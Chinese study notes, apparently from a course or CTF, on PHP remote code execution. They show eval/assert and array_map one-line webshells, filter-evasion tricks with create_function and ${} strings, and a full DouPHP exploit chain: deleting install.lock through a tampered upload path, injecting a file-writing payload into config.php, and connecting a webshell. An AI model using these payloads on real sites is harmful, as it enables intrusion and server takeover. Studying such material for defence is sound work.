用户输入数据被当做后端代码执行
RCE:远程命令或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE
命令执行:用户输入数据被当做系统命令执行
代码执行:用户输入数据被当做后端代码执行
eval($_REQUEST['a']);
在本地创建一个eval.php写入一句话木马,然后写文件qwe.php,里面可以输出123,查看phpinfo()。
http://127.0.0.1/test/eval.php?a=file_put_contents('qwe.php',%'');
assert($_REQUEST['a']) //如何多行执行呢?
当assert只能单行执行
1、可以调用eval函数,a=eval()
2、写文件,把需要执行的全部代码写入文件
file_put_contents('123.php','');
正则表达式
这里会固定报错,不建议你使用/e修饰符。
替换必须真实发生才会触发函数,如果没有则不发生替换,不会触发
于是我们插入一句话木马
连接菜刀,但是更新缓存会报错,这是因为有许多函数和代码是不能用的,所以我们最好把想要执行的代码写在某个文件中。
这里可以绕过对于eval函数的规避
$a = create_function('$id','echo $id;'); 自定义函数$a
echo $a(10); //执行echo $id;因为$id我传参是10所以 echo $id
可以输入多行命令
修改代码为如下,就可以连接菜刀不报错。
其实这个函数去定义匿名函数的时候(类似于)
function 函数名($id){
echo $id;}
当这里没有调用匿名函数时,还可以不调用触发:
a=}phpinfo();//
这里是用 } 把原有的 { 给闭合了,然后使用phpinfo(),后面的//把后面的 } 给注释了
图片是这个函数的用法,调用cube函数,传参
一句话木马:
array_map('assert',array($_POST['c']));
array_map($_REQUEST['b'],array($_REQUEST['c']));
如下代码时array_map的一个用法,将数组a的值一个一个调用cube
我们想到array_map可以调用定义函数,那是否可以调用已有函数呢?
我们尝试调用assert,可以得到phpinfo的回显,注意array_map第二个参数必须是一个数组,所以我们这里用request(里面获得的会存储成数组),url传参可以任意更改,不一定是a
甚至我们这里可以执行得比较隐蔽,把array_map第一个参数改成request,url传参修改为assert。这里没有关键词,可以进行绕过。
大部分代码里面都有不同的回调函数,例如php中的call_user_func()和call_user_func_array()。本次课程学的duophp中就有call_user_func函数
php5.5以上版本可以使用
"${phpinfo()}"; => 代码执行phpinfo()
PHP的字符串是可以使用复杂的表达式。例如 ${ 中间可以写调用的函数}
${ phpinfo()}; //可以执行
$a = ${ phpinfo()}; //可以执行
注意当定义$a=b,$b=c
echo'$a',此时会输出$a,而echo"$a",会输出1,echo"$$a"会输出$b
单引号只会输出字符串,双引号会解析
甚至连传参都不需要,但是php5.5的版本需要安装VC11的32位,注意一下。
以及可以利用来写文件
审计源码,查找数据库配置文件位置。一般会被写入conn文件
这里我们使用douphp。但这里没有conn文件,于是我们打开源码审计系统,发现数据库账户密码会被写入config.php文件中。但这里还没有生成config文件,所以我们先要生成。
生成后的config文件有了我们输入的信息。
我们尝试输入phpinfo,先用 "; 闭合前面,再输入phpinfo(),用//闭合后面。但是发现"会被转义
我们尝试写入${phpinfo}的特殊组合,发现可以成功写入
我们可以利用这个地方上传一句话木马,但是发现,单引号会被转义掉,所以我们可以尝试使用绕过,发现成功写入木马。
这里我用过十六进制发现还是没用。
但是我们的一句话木马只能在安装界面插入,作为用户访问时没法访问到安装界面,怎么办?
这时我们需要把data/insatll.lock删除。
php中有专门的删除函数unlike().
如下,就可以在test下删除12.php文件了
我们在源码审计系统中搜索unlike,查看到在admin后台的手机版,可以上传图片并且删除
我们找到本地环境中的对应代码,在他之前添加die(),意思就是命令执行到这里就结束了,还可以输出路径。
与源码对比我们发现logo.jpeg是由$mobile_logo决定。位置在数据库中dou_config,mobile_logo中。所以我们上传文件的路径是存在数据库中的。
get_one是取数据库中数据
审计代码发现这一段,将post传参键值分离,然后name由post决定。所以路径是由post决定,上传到数据库的。
所以我们上传图片,然后抓包,输入install.lock的相对路径,放包
此时数据库中数据会被修改成install.lock的位置,这时我们再删除logo,就可以进行重新安装了了。进入界面写码。
利用弱密码进入后台后,进入手机版界面,上传图片,提交,然后抓包修改mobile_logo的post值修改删除的路径。
选择删除logo
在数据库账号输入${file_put_contents($_REQUEST[8],$_REQUEST[9])}
我们在url栏中传参data/config.php?8=aaa.php&9=
我们访问aaa.php,发现有了文件,并且可以访问phpinfo()
连接菜刀,最终找到flag